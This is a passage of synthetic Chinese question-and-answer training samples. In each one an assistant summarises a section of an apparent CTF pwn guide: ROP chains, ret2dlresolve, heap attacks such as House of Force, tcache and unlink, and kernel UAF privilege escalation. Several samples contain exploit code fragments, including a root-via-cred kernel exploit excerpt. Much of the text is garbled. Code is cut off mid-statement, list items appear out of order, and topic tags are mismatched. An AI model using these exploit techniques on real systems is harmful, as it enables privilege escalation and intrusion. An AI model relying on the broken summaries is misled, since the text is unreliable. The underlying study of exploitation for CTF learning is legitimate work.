- add(0x28,'pass-loss control') # 54 add(0xF8,'pass') # 55 add(0x28,'pass') # 56 add(0x28,'pass') # 57 add(0x28,'pass') # 58 add(0x28,'pass') # 59 add(0x28,'pass-loss control') # 60 add(0x4F8,'to be off-by-null') # 61
- for i in range(7): add(0x28,'tcache') for i in range(7): delete(61 + 1 + i)

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

49

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct rop chain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct rop chain
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct rop chain”展开。
- rop.raw(plt0) rop.raw(index_offset) rop.raw('bbbb') # fake ret addr of write rop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh)) rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw('...
- ``shell ❯ python stage5.py [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Sta...
- 事实上，这里的 index_dynsym 又发生了变化，但似乎并不影响，因此我们也不用再想办法伪造数据了。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `效果如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct rop chain

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「基本思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 攻击原理 > 基本思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本思路”展开。
- Build the exploit - 利用输出函数来 dump 出程序以便于来找到更多的 gadgets，从而可以写出最后的 exploit。
- 在BROP中，基本的遵循的思路如下 - 判断栈溢出长度 - 暴力枚举 - Stack Reading - 获取栈上的数据来泄露canaries，以及ebp和返回地址。
- Blind ROP - 找到足够多的 gadgets 来控制输出函数的参数，并且对其进行调用，比如说常见的 write 函数以及puts函数。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本思路

中级ROP BROP 攻击原理 基本思路

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「小总结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`
标题：House Of Force
章节：House Of Force > 小总结
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“小总结”展开。
- 在这一节中讲解了 House Of Force 的原理并且给出了两个利用的简单示例，通过观察这两个简单示例我们会发现其实HOF的利用要求还是相当苛刻的。
- 其次，需要用户能自由控制 malloc 的分配大小 * 第三，分配的次数不能受限制 其实这三点中第二点往往是最难办的，CTF 题目中往往会给用户分配堆块的大小限制最小和最大值使得不能通过HOF 的方法进行利用。
- 首先，需要存在漏洞使得用户能够控制 top chunk 的 size 域。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

小总结

House Of Force


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「define TCACHE_MAX_BINS 64」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`
标题：tcache
章节：define TCACHE_MAX_BINS 64
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“define TCACHE_MAX_BINS 64”展开。
- 用图表示大概是： [图片文件: https://i0.wp.com/tvax1.sinaimg.cn/large/006AWYXBly1fw87zlnrhtj30nh0ciglz.jpg]
- counts 记录了 tcache_entry` 链上空闲 chunk 的数目，每条链上最多可以有 7 个 chunk。
- `` 每个 thread 都会维护一个 tcache_perthread_struct，它是整个 tcache 的管理结构，一共有 TCACHE_MAX_BINS 个计数器和 TCACHE_MAX_BINS项 tcache_entry，其中 - tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态（free 后）的 chunk，这一点上和 fastbin 很像。
- static __thread tcache_perthread_struct *tcache = NULL;

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

define TCACHE_MAX_BINS 64

tcache


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「VMCS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`
标题：CPU 虚拟化
章节：CPU 虚拟化 > 硬件辅助虚拟化 > VMCS
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- VMCS（Virtual-Machine Control Structure）是用以保存 CPU 虚拟化所需要的相关状态的一块内存，每个 virtual CPU 对应有一个 VMCS，同一时刻一个物理 CPU 只能与一个 VMCS 绑定，反之亦然，但在不同的时刻我们可以将 VMCS 绑定到不同的物理 CPU 上，称之为 VMCS 的迁移（Migration）。
- / 中止标识，4字节 当 VM-Exit 失败时便会产生 VMX 中止，并在此处存放原因 / uint32_t vmx_abort_indicator;
- > > 当然，要把所有域的索引都背下来并不现实，最好的办法还是多多查表：）推荐阅读：Intel SDM 的 [Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3C: System Programming Guide, Part 3](https://cdrdv2.intel.com/v1/dl/getContent/671506)。
- 与 VMCS 的绑定与解绑相关的是以下两条指令： | Instruction | Description | | :-----------------: | :---------------------------------------: | | VMPTRLD <VMCS 地址> | 将指定的 VMCS 与执行该指令的 CPU 进行绑定 | | VMCLEAR | 将执行该指令的 CPU 与其 VMCS 进行解绑 | VT-x 中将 VMCS 定义为一个最大不超过 4KB 的内存块，且应与 4KB 对齐，...
- / 数据域 */ struct VMCSData vmcs_data;

关键术语：
- pwn
- virtualization
- basic-knowledge
- cpu-virtualization.md
- code:c

代码/命令片段线索：
- c: 10 行，首行 `struct VMCS {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

VMCS

CPU 虚拟化
硬件辅助虚拟化
VMCS

pwn virtualization basic-knowledge cpu-virtualization.md code:c

CPU 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > REFERENCE
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“REFERENCE”展开。
- [[D^3CTF 2023] d3kcache: From null-byte cross-cache overflow to infinite arbitrary read & write in physical memory space.](https://github.com/arttnba3/D3CTF2023_d3kcache) 【PWN.0x02】Linux Kernel Pwn II：常用结构体集合

关键术语：
- UAF
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

REFERENCE

UAF 边界/溢出 堆 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「libc leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > libc leak
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“libc leak”展开。
- 在以前的libc 版本中，我们只需这样： ``c #include <stdlib.h> #include <stdio.h> int main() { long a = malloc(0x1000);
- } ` 但是在2.26 之后的 libc 版本后，我们首先得先把tcache 填满： `c #include <stdlib.h> #include <stdio.h> int main(int argc , char argv[]) { long t[7];
- } ` 之后，我们就可以 leak libc 了。
- // a is put in an unsorted bin because the tcache bin of this size is full printf("%p\n",a[0]);
- // make tcache bin full for(int i=0;

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c
- code:bash

代码/命令片段线索：
- c: 9 行，首行 `#include <stdlib.h>`
- c: 16 行，首行 `#include <stdlib.h>`
- bash: 24 行，首行 `gdb-peda$ heapinfo`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

libc leak

define TCACHE_FILL_COUNT 7
0x03 Pwn Tcache
libc leak

堆 AI安全 漏洞利用 pwn linux user-mode heap code:c code:bash


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：trigger malloc_hook > 参考文献
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考文献”展开。
- https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/ - http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html - https://www.slideshare.net/YOKARO-MON/oreo-hacklu-ctf-2014-65771717

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考文献

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`
标题：Heap Spray
章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“漏洞利用”展开。
- 既然题目中已经直接白给出了一个无限制的 UAF，那么利用方式就是多种多样的了，这里笔者选择使用 user\_key\_payload 来完成利用。

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用

Heap Spray
例题：RWCTF2023体验赛 - Digging into kernel 3
漏洞利用

UAF 堆 漏洞利用 pwn linux kernel-mode exploitation

Heap Spray


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md`
标题：Change Others
章节：Change Others > 改代码 > 修改 vDSO 代码 > 参考
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考”展开。
- https://lwn.net/Articles/676145/ - https://lwn.net/Articles/666550/ - https://sam4k.com/like-techniques-modprobe_path/ - https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch - https://github.com/google/security-...

关键术语：
- AI安全
- 修复/缓解
- 漏洞利用
- pwn
- linux
- kernel-mode
- aim

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考

AI安全 修复/缓解 漏洞利用 pwn linux kernel-mode aim

Change Others


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「get system addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：get system addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“get system addr”展开。
- atoi_offest = libc.symbols['atoi'] libcbase = atoi_addr - atoi_offest system_offest = libc.symbols['system'] system_addr = libcbase + system_offest print 'leak system addr: ', hex(system_addr) ``` 我们修改ptr[0]的内容为 ptr 的地址-0x18，所以当我们再次编辑 note0 时，可以覆盖ptr[0]的内容。
- 这样的话，如果我们查看note 0的内容，其实查看的就是atoi的地址。
- 之后我们根据 libc 中对应的偏移计算出 system 的地址。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

get system addr

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「_libc_calloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _libc_calloc
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 在 libc中的封装为 _libc_calloc，具体介绍如下 ``c / calloc(size_t n_elements, size_t element_size);
- Returns a pointer to n_elements element_size bytes, with all locations set to zero. / void __libc_calloc(size_t, size_t);
- calloc 也是 libc 中的一种申请内存块的函数。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 6 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

_libc_calloc

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「系统调用：ioctl」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > 内核交互 > 系统调用：ioctl
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“系统调用：ioctl”展开。
- 对设备驱动的请求是一个以设备和请求号码为参数的Ioctl调用，如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节，同时也不需要一大堆针对不同设备的系统调用。
- 在 *NIX 中一切都可以被视为文件，因而一切都可以以访问文件的方式进行操作，为了方便，Linux 定义了系统调用 ioctl 供进程与设备之间进行通信。
- 对于一个提供了ioctl通信方式的设备而言，我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过ioctl系统调用完成不同的对设备的I/O操作。
- > 使用 ioctl 进行通信的原因： > > 操作系统提供了内核访问标准外部设备的系统调用，因为大多数硬件设备只能够在内核空间内直接寻址,但是当访问非标准硬件设备这些系统调用显得不合适,有时候用户模式可能需要直接访问设备。
- > > 为了解决这个问题，内核被设计成可扩展的，可以加入一个称为设备驱动的模块，驱动的代码允许在内核空间运行而且可以对设备直接寻址。

关键术语：
- 堆
- pwn
- linux
- kernel-mode
- basic-knowledge.md
- code:c

代码/命令片段线索：
- c: 1 行，首行 `int ioctl(int fd, unsigned long request, ...)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

系统调用：ioctl

基础知识 内核交互 系统调用：ioctl

堆 pwn linux kernel-mode basic-knowledge.md code:c

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「write "/bin/sh"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：write "/bin/sh"
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“write "/bin/sh"”展开。
- rop = ROP('./main_partial_relro_32') plt0 = elf.get_section_by_name('.plt').header.sh_addr jmprel_data = elf.get_section_by_name('.rel.plt').data() writegot = elf.got["write"] write_reloc_offset = jmprel_data.find(p32(writegot,endian="little")) print(write_...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

write "/bin/sh"

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「释放：0x30」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`
标题：利用 pt\_regs 构造通用内核 ROP
章节：利用 pt\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 分析 > 释放：0x30
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“释放：0x30”展开。
- kfree 以后没有清空指针，直接就有一个裸的 UAF 糊脸： ``c if ( a2 !
- copy_from_user(&v12, v2, 8LL) ) { if ( (unsigned int)v12 <= 0x20 ) { if ( addrList[(unsigned int)v12] ) kfree();

关键术语：
- UAF
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 15 行，首行 `if ( a2 != 32 )`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

释放：0x30

利用 pt\_regs 构造通用内核 ROP
_例题：西湖论剑2021线上初赛 - easykernel_
分析
释放：0x30

UAF ROP/JOP 漏洞利用 pwn linux kernel-mode exploitation code:c

利用 pt\_regs 构造通用内核 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache house of spirit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache house of spirit
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“tcache house of spirit”展开。
- 拿 how2heap 的源码来讲： ``c #include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
- //fake chunk region fprintf(stderr, "This region contains one fake chunk.
- The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
- fprintf(stderr, "... note that the memory address of the region* associated with this chunk must be 16-byte aligned.\n");
- fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c
- code:bash

代码/命令片段线索：
- c: 26 行，首行 `#include <stdio.h>`
- bash: 15 行，首行 `gdb-peda$ heapinfo`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache house of spirit

define TCACHE_FILL_COUNT 7
0x03 Pwn Tcache
tcache house of spirit

堆 栈 AI安全 漏洞利用 pwn linux user-mode heap code:c code:bash


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`
标题：编写 QEMU 模拟设备
章节：编写 QEMU 模拟设备 > REFERENCE
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“REFERENCE”展开。
- 【VIRT.0x00】Qemu - I：Qemu 简易食用指南 QOM Vadis?
- Taking Objects To The CPU And Beyond 在 QEMU 中模拟设备 - 知乎

关键术语：
- pwn
- virtualization
- qemu
- environment

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

REFERENCE

编写 QEMU 模拟设备


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「Old Solution」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`
标题：kernel UAF
章节：kernel UAF > 例题：CISCN2017 - babydriver > Old Solution
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Old Solution”展开。
- > } > ` 因此这里考虑介绍更加通用的解法，对旧的解法感兴趣的可以参考如下exp： `c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> int main(void) { int fd1 = open("/dev/babydev", 2);
- printf("\033[34m\033[1m[] Start to exploit...\033[0m\n");
- } else if(pid == 0) { / the child to get the UAF cred / char buf[30];
- } else { printf("\033[31m\033[1m[x] Failed to get the root.\033[0m\n");
- 这道题在当年的解法是通过 UAF 修改该进程的 cred 结构体的 uid、gid 为0，十分简单十分白给。

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 7 行，首行 `> void __init cred_init(void)`
- c: 7 行，首行 `> void __init cred_init(void)`
- c: 36 行，首行 `#include <stdio.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Old Solution

kernel UAF
例题：CISCN2017 - babydriver
Old Solution

UAF 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

kernel UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：context.log_level = "debug" > 2018-XNUCA-gets > 分析
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“分析”展开。
- 我们通过 ELF 的基本执行流程（可执行文件部分）来知道程序的基本执行流程，与此同时我们发现在栈上存在着两个函数的返回地址。
- 而我们覆盖字节的时候必须覆盖整数倍个数，即至少会覆盖 3 个字节，而我们再来看看__libc_start_main+240 的地址 0x7ffff7a2d830，如果覆盖3个字节，那么就是 0x7ffff700xxxx，已经小于了 libc 的基地址了，前面也没有刻意执行的代码位置。
- 一般来说 libc_start_main 在 libc 中的偏移不会差的太多，那么显然我们如果覆盖 __libc_start_main+240 ，显然是不可能的。
- 如果我们覆盖了栈上_dl_init+139，即为0x7ffff700xxxx。
- 因此，我们有足够的理由选择覆盖栈上存储的_dl_init+139。

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:asm
- code:python

代码/命令片段线索：
- asm: 19 行，首行 `pwndbg> stack 25`
- plain: 6 行，首行 `0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so`
- plain: 1 行，首行 `0x7ffff7dd7000-0x7ffff7a0d000=0x3ca000`
- python: 31 行，首行 `from pwn import *`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析

